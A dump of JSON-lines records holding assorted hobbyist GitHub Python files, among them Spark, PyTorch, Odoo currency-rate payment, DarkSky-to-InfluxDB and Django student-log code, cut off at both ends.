customer_expenses.sort(\"total_spent\")\n\ntotalByCustomerSorted.show(totalByCustomerSorted.count())\n\nspark.stop()\n","repo_name":"aalva500-prog/BigData-Training","sub_path":"SparkCourse/Dataframe/pythonspark/customerexpenses-dataframe.py","file_name":"customerexpenses-dataframe.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30061304873","text":"import sys \nsys.path.append('C:\\\\Users\\\\ThinkPad\\\\Desktop\\\\CME241\\\\Push\\\\Code\\\\Processes\\\\Markov')\nfrom MDP import MDP\n\ndef get_lily_pads_mdp(n: int) -> MDP:\n    data = {\n        i: {'A': ({i - 1:  i / n, i + 1:  1. - i / n}, 1 / n if i == n - 1 else 0.),\n            'B': ({j : 1 / n for j in range(n + 1) if j != i}, 1 / n )\n        } for i in range(1, n)\n    }\n    data[0] = {'A': ({0: 1.}, 0.), 'B': ({0: 1.}, 0.)}\n    data[n] = {'A': ({n: 1.}, 0.), 'B': ({n: 1.}, 0.)}\n\n    gamma = 1.0\n    return MDP(data, gamma)\n\n\n\nif __name__ == '__main__':\n    pads: int = 10\n    mdp: MDP = get_lily_pads_mdp(pads)\n    pol = mdp.policy_iteration(1e-8)\n    print(pol.policy_data)\n    print(mdp.find_value_func_dict(pol))","repo_name":"jialongw327/RL-For-Finance","sub_path":"Code/Examples/Frog_Lilipad_Problem.py","file_name":"Frog_Lilipad_Problem.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2136323412","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader,TensorDataset\nfrom torch.autograd import Variable\n\nimport pandas as pd\nimport numpy as np\n\ntest = pd.read_csv('../data/test.csv')\ntest_data = torch.FloatTensor(np.array(test).reshape((-1,1,28,28)))/255\nb=np.array(test_data)\n\n\nclass CNN(nn.Module):\n    def __init__(self):\n        super(CNN, self).__init__()\n        self.conv1 = nn.Sequential(\n            nn.Conv2d(  # (1,28,28)\n                in_channels=1,\n                out_channels=16,\n                kernel_size=5,\n                stride=1,\n                padding=2\n            ),      # --> (16,28,28)\n            nn.ReLU(),\n            nn.MaxPool2d(kernel_size=2),    # -->(16,14,14)\n        )\n        self.conv2 = nn.Sequential(     # --> (16,14,14)\n            nn.Conv2d(16,32,5,1,2), # 这里用了两个过滤器，将将16层变成了32层\n            nn.ReLU(),\n            nn.MaxPool2d(kernel_size=2) # --> (32,7,7)\n        )\n        self.out = nn.Linear(32*7*7,10) # 将三维的数据展为2维的数据\n\n    def forward(self,x):\n        x = self.conv1(x)\n        x = self.conv2(x)       # (batch,32,7,7)\n        x = x.view(x.size(0),-1)    # (batch,32,7,7)\n        # output = F.softmax(self.out(x))\n        output = self.out(x)\n        return output\n\ntest_model = torch.load('../result/model_weights.pth')\n# print(test_model)\ntest_model.eval()\nwith torch.no_grad():\n    AA=test_model(test_data[:])\n    a,output = test_model(test_data[:]).max(1)\n    # pred_test = torch.max(output,1)[1].squeeze(1)  # torch.max(input, dim)返回输入张量给定维度上每行最大值以及每个最大值的位置索引\n    res = {}\n    pre = output.numpy()\n    pre_size = pre.shape[0]\n    num = [i for i in range(1, pre_size + 1)]\n    res_df = pd.DataFrame({\n        'ImageId': num,\n        'Label': pre\n    })\n\n    # d导出为CSV文件\n    res_df.to_csv('res.csv', index=False)\n\n    print('结果已保存至: {}'.format('../result/kaggle.csv'))\n\nprint('即将退出程序......')\n\n\n\n","repo_name":"Highler23/DL-learning","sub_path":"project/kaggle/kaggle-digital/samples/src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27932264020","text":"import cv2\nimport glob\n\nsize = input(\"チェックサイズ> \")\nsize = int(size)\n\nfiles = glob.glob(\"./dataset/*.jpg\")\nfor i, filename in enumerate(files):\n    img = cv2.imread(filename)\n    height = img.shape[0]\n    width = img.shape[1]\n    if height != size or width != size:\n        print(\"MISS SIZE \",filename)\n        img2 = cv2.resize(img, (size, size),interpolation=cv2.INTER_AREA)\n        cv2.imwrite(filename, img2)\n\nprint(\"checked.\")","repo_name":"jphacks/A_2004","sub_path":"make-dataset/check_size.py","file_name":"check_size.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"18796039486","text":"from odoo import fields, models,api, _\nfrom odoo.exceptions import UserError, ValidationError\n\n\nclass account_payment(models.TransientModel):\n    _inherit = 'account.payment.register'\n\n    manual_currency_rate_active = fields.Boolean('Apply Manual Exchange')\n    manual_currency_rate = fields.Float('Rate', digits=(12, 6))\n\n    @api.model\n    def default_get(self, default_fields):\n        rec = super(account_payment, self).default_get(default_fields)\n        active_ids = self._context.get('active_ids') or self._context.get('active_id')\n        active_model = self._context.get('active_model')\n\n        # Check for selected invoices ids\n        if not active_ids or active_model != 'account.move':\n            return rec\n        invoices = self.env['account.move'].browse(active_ids).filtered(\n            lambda move: move.is_invoice(include_receipts=True))\n        if len(invoices or []) > 1:\n            if all(inv.manual_currency_rate_active == False for inv in invoices):\n                return rec\n            if any(inv.manual_currency_rate_active == False for inv in invoices):\n                raise ValidationError(_(\"Selected invoice to make payment have not similer currency or currency rate is not same.\\n Make sure selected invoices have same currency and same manual currency rate.\"))\n            else:\n                rate = invoices[0].manual_currency_rate\n                if any(inv.manual_currency_rate != rate for inv in invoices):\n                    raise ValidationError(_(\"Selected invoice to make payment have not similer currency or currency rate is not same.\\n Make sure selected invoices have same currency and same manual currency rate.\"))\n        rec.update({\n            'manual_currency_rate_active': invoices[0].manual_currency_rate_active,\n            'manual_currency_rate': invoices[0].manual_currency_rate\n        })\n        return rec\n\n    def _create_payment_vals_from_wizard(self, batch_result):\n        vals = super()._create_payment_vals_from_wizard(batch_result)\n        if self.manual_currency_rate_active:\n            vals.update({'manual_currency_rate_active': self.manual_currency_rate_active, 'manual_currency_rate': self.manual_currency_rate})\n        return vals\n    \n    @api.depends('can_edit_wizard', 'source_amount', 'source_amount_currency', \n    'source_currency_id', 'company_id', 'currency_id', 'payment_date',\n    'manual_currency_rate_active', 'manual_currency_rate')\n    def _compute_amount(self):\n        return super()._compute_amount()\n\n    @api.depends('can_edit_wizard', 'amount',\n    'manual_currency_rate_active', 'manual_currency_rate')\n    def _compute_payment_difference(self):\n        return super()._compute_payment_difference()\n\n    def _get_total_amount_in_wizard_currency_to_full_reconcile(self, batch_result, early_payment_discount=True):\n        \"\"\" Compute the total amount needed in the currency of the wizard to fully reconcile the batch of journal\n        items passed as parameter.\n\n        :param batch_result:    A batch returned by '_get_batches'.\n        :return:                An amount in the currency of the wizard.\n        \"\"\"\n        self.ensure_one()\n        comp_curr = self.company_id.currency_id\n\n        if self.source_currency_id == self.currency_id:\n            # Same currency (manage the early payment discount).\n            return self._get_total_amount_using_same_currency(batch_result, early_payment_discount=early_payment_discount)\n        elif self.source_currency_id != comp_curr and self.currency_id == comp_curr:\n            # Foreign currency on source line but the company currency one on the opposite line.\n            if self.manual_currency_rate_active and self.manual_currency_rate:\n                return (self.source_amount_currency / self.manual_currency_rate), False\n            else:\n                return self.source_currency_id._convert(\n                    self.source_amount_currency,\n                    comp_curr,\n                    self.company_id,\n                    self.payment_date,\n                ), False\n        elif self.source_currency_id == comp_curr and self.currency_id != comp_curr:\n            # Company currency on source line but a foreign currency one on the opposite line.\n            if self.manual_currency_rate_active and self.manual_currency_rate:\n                return abs(sum((aml.amount_residual * self.manual_currency_rate) for aml in batch_result['lines']\n                )), False\n            else:\n                return abs(sum(\n                    comp_curr._convert(\n                        aml.amount_residual,\n                        self.currency_id,\n                        self.company_id,\n                        aml.date,\n                    )\n                    for aml in batch_result['lines']\n                )), False\n        else:\n            # Foreign currency on payment different than the one set on the journal entries.\n            if self.manual_currency_rate_active and self.manual_currency_rate:\n                return self.source_amount * self.manual_currency_rate, False\n            else:\n                return comp_curr._convert(\n                    self.source_amount,\n                    self.currency_id,\n                    self.company_id,\n                    self.payment_date,\n                ), False\n    \n\n    def _create_payment_vals_from_wizard(self, batch_result):\n        payment_vals = {\n            'date': self.payment_date,\n            'amount': self.amount,\n            'payment_type': self.payment_type,\n            'partner_type': self.partner_type,\n            'ref': self.communication,\n            'journal_id': self.journal_id.id,\n            'currency_id': self.currency_id.id,\n            'partner_id': self.partner_id.id,\n            'partner_bank_id': self.partner_bank_id.id,\n            'payment_method_line_id': self.payment_method_line_id.id,\n            'destination_account_id': self.line_ids[0].account_id.id,\n            'manual_currency_rate' : self.manual_currency_rate,\n            'manual_currency_rate_active' : self.manual_currency_rate_active,\n            'write_off_line_vals': [],\n        }\n\n        if self.manual_currency_rate_active and self.manual_currency_rate:\n            conversion_rate = self.manual_currency_rate\n        else:\n            conversion_rate = self.env['res.currency']._get_conversion_rate(\n                self.currency_id,\n                self.company_id.currency_id,\n                self.company_id,\n                self.payment_date,\n            )\n\n        if self.payment_difference_handling == 'reconcile':\n\n            if self.early_payment_discount_mode:\n                epd_aml_values_list = []\n                for aml in batch_result['lines']:\n                    if aml._is_eligible_for_early_payment_discount(self.currency_id, self.payment_date):\n                        epd_aml_values_list.append({\n                            'aml': aml,\n                            'amount_currency': -aml.amount_residual_currency,\n                            'balance': aml.company_currency_id.round(-aml.amount_residual_currency * conversion_rate),\n                        })\n\n                open_amount_currency = self.payment_difference * (-1 if self.payment_type == 'outbound' else 1)\n                open_balance = self.company_id.currency_id.round(open_amount_currency * conversion_rate)\n                early_payment_values = self.env['account.move']._get_invoice_counterpart_amls_for_early_payment_discount(epd_aml_values_list, open_balance)\n                for aml_values_list in early_payment_values.values():\n                    payment_vals['write_off_line_vals'] += aml_values_list\n\n            elif not self.currency_id.is_zero(self.payment_difference):\n                if self.payment_type == 'inbound':\n                    # Receive money.\n                    write_off_amount_currency = self.payment_difference\n                else:\n                    # Send money.\n                    write_off_amount_currency = -self.payment_difference\n\n                write_off_balance = self.company_id.currency_id.round(write_off_amount_currency * conversion_rate)\n                payment_vals['write_off_line_vals'].append({\n                    'name': self.writeoff_label,\n                    'account_id': self.writeoff_account_id.id,\n                    'partner_id': self.partner_id.id,\n                    'currency_id': self.currency_id.id,\n                    'amount_currency': write_off_amount_currency,\n                    'balance': write_off_balance,\n                })\n\n        return payment_vals\n\nclass AccountPayment(models.Model):\n    _inherit = \"account.payment\"\n    _description = \"Payments\"\n\n    @api.model\n    def default_get(self, default_fields):\n        rec = super(AccountPayment, self).default_get(default_fields)\n        active_ids = self._context.get('active_ids') or self._context.get('active_id')\n        active_model = self._context.get('active_model')\n\n        # Check for selected invoices ids\n        if not active_ids or active_model != 'account.move':\n            return rec\n        invoices = self.env['account.move'].browse(active_ids).filtered(\n            lambda move: move.is_invoice(include_receipts=True))\n        rec.update({\n            'manual_currency_rate_active': invoices[0].manual_currency_rate_active,\n            'manual_currency_rate': invoices[0].manual_currency_rate\n        })\n        return rec\n\n    @api.depends('invoice_ids', 'amount', 'payment_date', 'currency_id', 'payment_type', 'manual_currency_rate')\n    def _compute_payment_difference(self):\n        return super()._compute_payment_difference()\n\n\n    def _prepare_move_line_default_vals(self, write_off_line_vals=None):\n        ''' Prepare the dictionary to create the default account.move.lines for the current payment.\n        :param write_off_line_vals: Optional list of dictionaries to create a write-off account.move.line easily containing:\n            * amount:       The amount to be added to the counterpart amount.\n            * name:         The label to set on the line.\n            * account_id:   The account on which create the write-off.\n        :return: A list of python dictionary to be passed to the account.move.line's 'create' method.\n        '''\n        self.ensure_one()\n        write_off_line_vals = write_off_line_vals or {}\n\n        if not self.outstanding_account_id:\n            raise UserError(_(\n                \"You can't create a new payment without an outstanding payments/receipts account set either on the company or the %s payment method in the %s journal.\",\n                self.payment_method_line_id.name, self.journal_id.display_name))\n\n        # Compute amounts.\n        write_off_line_vals_list = write_off_line_vals or []\n        write_off_amount_currency = sum(x['amount_currency'] for x in write_off_line_vals_list)\n        write_off_balance = sum(x['balance'] for x in write_off_line_vals_list)\n\n        if self.payment_type == 'inbound':\n            # Receive money.\n            liquidity_amount_currency = self.amount\n        elif self.payment_type == 'outbound':\n            # Send money.\n            liquidity_amount_currency = -self.amount\n        else:\n            liquidity_amount_currency = 0.0\n\n        if self.manual_currency_rate_active and self.manual_currency_rate > 0:\n            currency_rate = self.company_id.currency_id.rate / self.manual_currency_rate\n            liquidity_balance = liquidity_amount_currency * currency_rate            \n            counterpart_amount_currency = -liquidity_amount_currency - write_off_amount_currency            \n            write_off_balance = write_off_amount_currency * currency_rate\n            counterpart_balance = -liquidity_balance - write_off_balance\n            currency_id = self.currency_id.id\n        \n        else:\n            liquidity_balance = self.currency_id._convert(\n                liquidity_amount_currency,\n                self.company_id.currency_id,\n                self.company_id,\n                self.date,\n            )\n            counterpart_amount_currency = -liquidity_amount_currency - write_off_amount_currency\n            counterpart_balance = -liquidity_balance - write_off_balance\n            currency_id = self.currency_id.id\n\n        # Compute a default label to set on the journal items.\n        liquidity_line_name = ''.join(x[1] for x in self._get_liquidity_aml_display_name_list())\n        counterpart_line_name = ''.join(x[1] for x in self._get_counterpart_aml_display_name_list())\n\n        line_vals_list = [\n            # Liquidity line.\n            {\n                'name': liquidity_line_name,\n                'date_maturity': self.date,\n                'amount_currency': liquidity_amount_currency,\n                'currency_id': currency_id,\n                'debit': liquidity_balance if liquidity_balance > 0.0 else 0.0,\n                'credit': -liquidity_balance if liquidity_balance < 0.0 else 0.0,\n                'partner_id': self.partner_id.id,\n                'account_id': self.outstanding_account_id.id,\n            },\n            # Receivable / Payable.\n            {\n                'name': counterpart_line_name,\n                'date_maturity': self.date,\n                'amount_currency': counterpart_amount_currency,\n                'currency_id': currency_id,\n                'debit': counterpart_balance if counterpart_balance > 0.0 else 0.0,\n                'credit': -counterpart_balance if counterpart_balance < 0.0 else 0.0,\n                'partner_id': self.partner_id.id,\n                'account_id': self.destination_account_id.id,\n            },\n        ]\n        return line_vals_list + write_off_line_vals_list","repo_name":"nndaba/PureAfricaZW","sub_path":"bi_manual_currency_exchange_rate/models/account_payment.py","file_name":"account_payment.py","file_ext":"py","file_size_in_byte":13681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72457938640","text":"#!/usr/bin/env python\n\nimport time\nimport datetime\nimport pprint\nimport os\nimport json\nimport requests\nfrom influxdb import InfluxDBClient\n\n# Set the variables from , influxDB should be localhost on Pi\nhost = \"localhost\"\nport = 8086\nuser = os.environ['influx_user']\npassword = os.environ['influx_pass']\napikey = os.environ['apikey']\ndbname = os.environ['influx_db']\nlat = os.environ['lat']\nlongitude = os.environ['longitude']\nnow = datetime.datetime.now()\n\n# Make the call\nurl = 'https://api.darksky.net/forecast/' + apikey + '/' + lat + ',' + longitude + '?units=si'\nresponse = requests.get(url)\njson = json.loads(response.text)\n\n# Extract values\nprecipProb           = json[\"currently\"][\"precipProbability\"]\ntemperature          = json[\"currently\"][\"temperature\"]\napparent_temperature = json[\"currently\"][\"apparentTemperature\"]\ndewPoint             = json[\"currently\"][\"dewPoint\"]\nhumidity             = json[\"currently\"][\"humidity\"]\nwindSpeed            = json[\"currently\"][\"windSpeed\"]\nwindGust             = json[\"currently\"][\"windGust\"]\nwindBearing          = json[\"currently\"][\"windBearing\"]\nvisibility           = json[\"currently\"][\"visibility\"]\ncloudCover           = json[\"currently\"][\"cloudCover\"]\npressure             = json[\"currently\"][\"pressure\"]\nozone                = json[\"currently\"][\"ozone\"]\nuvIndex              = json[\"currently\"][\"uvIndex\"]\n\n# Create the InfluxDB object\nmyclient = InfluxDBClient(host, port, user, password, dbname)\n\niso = time.ctime()\n\n# Write the values to the db\nfloat_precipProb = float(precipProb)\njson_precip_prob = [\n    {\n      \"measurement\": \"precipProb\",\n      \"tags\": {\n        \"temp\": \"precipProb\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": float_precipProb\n        }\n    }\n]\n\nmyclient.write_points(json_precip_prob)\n\njson_temp = [\n    {\n      \"measurement\": \"temperature\",\n      \"tags\": {\n        \"temp\": \"temperature\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": temperature\n        }\n    }\n]\n\nmyclient.write_points(json_temp)\n\njson_app_temp = [\n    {\n      \"measurement\": \"apparent temperature\",\n      \"tags\": {\n        \"temp\": \"apparent temperature\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": apparent_temperature\n        }\n    }\n]\n\n## Write JSON to InfluxDB\nmyclient.write_points(json_app_temp)\n\njson_dew_point = [\n    {\n      \"measurement\": \"dew point\",\n      \"tags\": {\n        \"temp\": \"dew point\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": dewPoint\n        }\n    }\n]\n\njson_humidity = [\n    {\n      \"measurement\": \"humidity\",\n      \"tags\": {\n        \"temp\": \"humidity\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": humidity\n        }\n    }\n]\n\nmyclient.write_points(json_humidity)\n\njson_windSpeed = [\n    {\n      \"measurement\": \"windSpeed\",\n      \"tags\": {\n        \"temp\": \"windspeed\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": windSpeed\n        }\n    }\n]\n\nmyclient.write_points(json_windSpeed)\n\nfloat_windGust = float(windGust)\njson_windGust = [\n    {\n      \"measurement\": \"windGust\",\n      \"tags\": {\n        \"temp\": \"windGust\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": float_windGust\n        }\n    }\n]\n\nmyclient.write_points(json_windGust)\n\njson_windBearing = [\n    {\n      \"measurement\": \"windBearing\",\n      \"tags\": {\n        \"temp\": \"windBearing\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": windBearing\n        }\n    }\n]\n\nmyclient.write_points(json_windBearing)\n\njson_visibility = [\n    {\n      \"measurement\": \"visibility\",\n      \"tags\": {\n        \"temp\": \"visibility\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": visibility\n        }\n    }\n]\n\nmyclient.write_points(json_visibility)\n\njson_cloudCover = [\n    {\n      \"measurement\": \"cloudCover\",\n      \"tags\": {\n        \"temp\": \"cloudCover\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": cloudCover\n        }\n    }\n]\n\nmyclient.write_points(json_cloudCover)\n\njson_pressure = [\n    {\n      \"measurement\": \"pressure\",\n      \"tags\": {\n        \"temp\": \"pressure\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": pressure\n        }\n    }\n]\n\nmyclient.write_points(json_pressure)\n\n\njson_ozone = [\n    {\n      \"measurement\": \"ozone\",\n      \"tags\": {\n        \"temp\": \"ozone\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": ozone\n        }\n    }\n]\n\nmyclient.write_points(json_ozone)\n\n\n\njson_uvIndex = [\n    {\n      \"measurement\": \"uvIndex\",\n      \"tags\": {\n        \"temp\": \"uvIndex\"\n        },\n      \"time\": iso,\n      \"fields\": {\n        \"value\": uvIndex\n        }\n    }\n]\n\nmyclient.write_points(json_uvIndex)\n","repo_name":"squain/ingest_darksky","sub_path":"ingest_darksky.py","file_name":"ingest_darksky.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11349436058","text":"s1 = [8, 4, 7, 3, 6, 2, 5, 1, 9, 0]\ns2 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\nc1 = 3\nc2 = 8\nswapped = s1, s2\nmap_ = s1[c1:c2], s2[c1:c2]\ndef _repeated(element, collection):\n    c = 0\n    for e in collection:\n        if e == element:\n            c += 1\n    return c > 1\nfor i in range(n):\n    if not c1 < i < c2:\n        for j in range(2):\n            while _repeated(swapped[j][i], swapped[j]):\n                map_index = map_[j].index(swapped[j][i])\n                swapped[j][i] = map_[1 - j][map_index]","repo_name":"ayushmankd/GeneticAlgorithms","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9885920200","text":"class Solution:\n    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n        dictionary = {}\n        for word in strs:\n            word_form = ''.join(sorted(word))\n            if word_form in dictionary.keys():\n                dictionary[word_form].append(word)\n            else:\n                dictionary[word_form] = [word]\n        \n        return(list(dictionary.values()))\n","repo_name":"Fatma-Chaouech/LeetCode","sub_path":"Arrays & Hashing/Medium/Group_Anagrams.py","file_name":"Group_Anagrams.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"6681151047","text":"import StringIO\nimport json \nimport textwrap\n\n\nfrom django.http import HttpResponse,Http404\nfrom django.conf.urls.defaults import url\nfrom django.db.models import Q\nfrom django.views.decorators.debug import sensitive_post_parameters\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_protect,csrf_exempt, ensure_csrf_cookie\n#from django.contrib.auth import authenticate, login as django_login, logout\nfrom django.contrib.auth.views import login as django_login, logout\nfrom django.middleware.csrf import get_token\nfrom django.shortcuts import render_to_response,redirect\nfrom django.template import RequestContext\nfrom django.conf import settings\n\n\nfrom tastypie.resources import ModelResource\nfrom tastypie import fields\nfrom tastypie.api import Api\nfrom tastypie.authorization import Authorization\nfrom tastypie.authentication import SessionAuthentication\nfrom tastypie.utils import trailing_slash\nfrom tastypie.cache import SimpleCache\n\n\nfrom log.models import Student,Klass,Record,Interaction\nfrom log.roster_parser import parse_roster\nfrom log.forms import AuthenticationForm\n#from log.authentication import SessionAuthentication\n\n\n\nSTATIC_ROOT = settings.STATIC_URL + 'student_log/app/index.html'\n\n\ndef root(request): \n    if request.user.is_authenticated():\n        return redirect(STATIC_ROOT)\n    else: \n        return redirect(login_user)\n\n\n@csrf_exempt\ndef login_user(request):\n    if request.method == 'POST' and (not request.POST.get('remember_me', None)): \n            request.session.set_expiry(0)    \n               \n    return django_login(request,\n        template_name=\"log/login.html\",\n        authentication_form=AuthenticationForm)\n   \n\ndef logout_user(request): \n    logout(request)\n    return redirect(login_user)\n\ndef download_class_log(request, classId):     \n    klass = Klass.objects.get(pk=classId)\n    log_file = []\n    for inter in klass.interactions.all().iterator(): \n        s = inter.student\n        line =  \"Student: %s %s (%d)\"%(s.first_name,\n                                       s.last_name,\n                                       s.sep_id)\n        log_file.append(line)\n\n        for r in s.records.all().iterator(): \n            line = \"    %s %s\"%(klass.name,r.timestamp)\n            log_file.append(line)\n            notes = textwrap.wrap(r.notes,70,\n                initial_indent=8*\" \", subsequent_indent=8*\" \")\n            log_file.extend(notes)\n        log_file.extend([\"\",\"\"]) #two blank lines\n    \n    response = HttpResponse(content_type='text/txt')\n    response['Content-Disposition'] = 'attachment; filename=\"%s.txt\"'%klass.name\n\n    out_file = StringIO.StringIO()\n    out_file.write(\"\\n\".join(log_file))\n    out_file.seek(0)\n\n    response = HttpResponse(status=200, \n                            mimetype=\"application/x-zip-compressed\", \n                            content=out_file)\n    response['Content-Disposition'] = 'attachment; filename=\"%s.txt\"'%klass.name\n    return response\n\ndef load_roster(request, classId):\n    if request.method == 'POST':\n        f = StringIO.StringIO(request.FILES['file'].read())\n        try: \n            students = parse_roster(f)\n        except KeyError as err: \n            err_msg = 'The csv file did not have a \"%s\" column.'%str(err.args[0])\n\n            return HttpResponse(content=json.dumps({'msg': err_msg}), \n                                mimetype=\"application/json\",\n                                status=415)\n\n        klass = Klass.objects.get(pk=classId)\n        for row in students: \n            try: \n                student = Student.objects.get(pk=row['sep_id'])\n            except Student.DoesNotExist: \n                data = row.copy()\n                del data['status'] #status is for interaction model\n                student = Student(**data)\n                student.save()\n            try:\n                inter = Interaction.objects.get(klass=klass, student=student)\n                inter.status = row['status']\n                inter.save()\n\n            except Interaction.DoesNotExist:     \n                inter = Interaction(klass=klass, student=student,\n                    status=row['status'], teacher='GenEd')\n                inter.save()\n\n        msg = \"Roster Uploaded Successfully\"\n        return HttpResponse(content=json.dumps({'msg': msg}),\n                            mimetype=\"application/json\",\n                            status=201)\n    \n    raise Http404\n\n\n#Start of the JSON API    \n\nclass SmallKlassResource(ModelResource):\n    class Meta: \n        queryset = Klass.objects.all()\n        resource_name = 'classes'\n        authorization = Authorization() \n        authentication = SessionAuthentication()\n        always_return_data = True\n        #cache = SimpleCache(timeout=20)\n    date = fields.DateField(attribute=\"date\")\n\n    def save_m2m(self,bundle): \n        pass\n\n#have to do this janky thing to avoid recursion in the Interaction resource, because of through model\nclass KlassResource(ModelResource): \n\n    class Meta: \n        queryset = Klass.objects.all().prefetch_related('interactions')\n        resource_name = \"classes_with_interactions\"\n        authorization = Authorization() \n        authentication = SessionAuthentication()\n        always_return_data = True\n        #cache = SimpleCache(timeout=20)\n\n    date = fields.DateField(attribute=\"date\")\n    interactions =  fields.ToManyField(\"log.views.MediumInteractionsResource\",\n        attribute= 'interactions',\n        full=True,\n        blank=True,null=True, readonly=True)\n\n\n\nclass SmallStudentsResource(ModelResource): \n    class Meta: \n        queryset = Student.objects.all().prefetch_related()\n        resource_name = \"students\"\n        authorization = Authorization()\n        authentication = SessionAuthentication()\n\n        excludes = ['records']\n\n    #records = fields.ToManyField(\"log.views.RecordsResource\",\"records\",full=False,null=True,blank=True)\n    \n\nclass StudentsResource(SmallStudentsResource): \n\n    def prepend_urls(self):\n        return [\n            url(r\"^(?P<resource_name>%s)/search%s$\" % (self._meta.resource_name, trailing_slash()), self.wrap_view('get_search'), name=\"api_get_search\"),\n        ]\n\n    def get_search(self, request, **kwargs):\n        self.method_check(request, allowed=['get'])    \n        \n        q = request.GET.get('q','')\n\n        students = Student.objects.prefetch_related().filter(Q(first_name__contains=q)|\n        Q(last_name__contains=q)|\n        Q(phone__contains=q)|\n        Q(notes__contains=q)|\n        Q(records__notes__contains=q)).annotate()\n\n        objects = []\n        if students: \n            for s in students:\n                bundle = self.build_bundle(obj=s, request=request)\n                bundle = self.full_dehydrate(bundle)\n                objects.append(bundle)\n\n            object_list = {\n                'objects': objects,\n            }\n            return self.create_response(request, object_list)\n        else: \n            raise Http404(\"Sorry, no results on that page.\")\n\n    records = fields.ToManyField(\"log.views.RecordsResource\",\"records\",full=True,null=True,blank=True, readonly=True)\n    interactions = fields.ToManyField(\"log.views.SmallInteractionsResource\",\"interactions\",full=True,null=True,blank=True, readonly=True)\n    \n    def save_m2m(self,bundle): \n        pass\n\nclass RecordsResource(ModelResource):\n    class Meta: \n        queryset = Record.objects.all().prefetch_related()\n        resource_name = \"records\"\n        authorization = Authorization() \n        authentication = SessionAuthentication()\n\n    \n    timestamp = fields.DateTimeField(attribute=\"timestamp\")\n    klass = fields.ToOneField(\"log.views.SmallKlassResource\",\"klass\",full=True)\n    students = fields.ToManyField(\"log.views.StudentsResource\",\"students\")\n\n\n\nclass SmallInteractionsResource(ModelResource):\n    class Meta:\n        queryset = Interaction.objects.all().select_related()\n        resource_name = 'interactions'\n        authorization= Authorization()\n        authentication = SessionAuthentication()\n\n    student =  fields.ToOneField(\"log.views.SmallStudentsResource\",\"student\",full=False)\n    klass   =  fields.ToOneField(\"log.views.SmallKlassResource\",'klass',full=True)\n\n\nclass MediumInteractionsResource(ModelResource):\n    class Meta:\n        queryset = Interaction.objects.all().select_related()\n        resource_name = 'interactions'\n        authorization= Authorization()\n        authentication = SessionAuthentication()\n\n    student =  fields.ToOneField(\"log.views.SmallStudentsResource\",\"student\",full=True,null=True,blank=True)\n    klass   =  fields.ToOneField(\"log.views.SmallKlassResource\",'klass',full=True,null=True,blank=True)    \n\n\n\n\n\nv1_api = Api(api_name='v1')\nv1_api.register(SmallKlassResource())\nv1_api.register(KlassResource())\nv1_api.register(MediumInteractionsResource())\nv1_api.register(StudentsResource())\nv1_api.register(RecordsResource())\n","repo_name":"JustinSGray/student_log_dajango","sub_path":"log/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13133729279","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep  4 10:24:23 2021\r\n\r\n@author: Charles Arthel Rey\r\n\"\"\"\r\n\r\n\r\nfile  = r\"C:\\Users\\Charles Arthel Rey\\Downloads\\keppel-corporation-limited-annual-report-2018.pdf\"\r\n\r\n\"\"\" Assignment # 1 \"\"\"\r\n\r\nimport fitz\r\nfrom openpyxl import Workbook\r\n\r\ndef stringToList(string):\r\n    listRes = list(string.split(\"\\n\\n\"))\r\n    return listRes\r\n\r\n#extract text page by page\r\ndoc = fitz.open(file)\r\npage = doc.load_page(11)\r\npymupdf_text = page.getText()\r\npymupdf_text = pymupdf_text.replace(\". \\n\", \". \\n\\n\") # this code breaks the sentences per line\r\npymupdf_text = pymupdf_text.replace(\".\\n\", \". \\n\\n\")\r\n\r\njotdown = [\"\\n\\nStarting\", \"\\n\\nWith the burgeoning\", \"\\n\\nUrbanFox\", \"\\n\\nKeppel Infrastructure Trust\", \"\\n\\nWe continued to drive\", \"\\n\\nWith\\xa0the Eco-City’s\"]\r\n\r\n\r\n# this code will join the sentences belonging to a single paragraph, but were wrongfully separated into two paragraphs\r\nfor item in jotdown:\r\n    pymupdf_text = pymupdf_text.replace(item, item[2:])\r\n\r\n# this code deletes this specific line    \r\npymupdf_text = pymupdf_text.replace(\"\\n1\\nKeppel Land expanded \\nits presence in China \\nin 2018 entering a new \\nmarket with\\xa0a residential 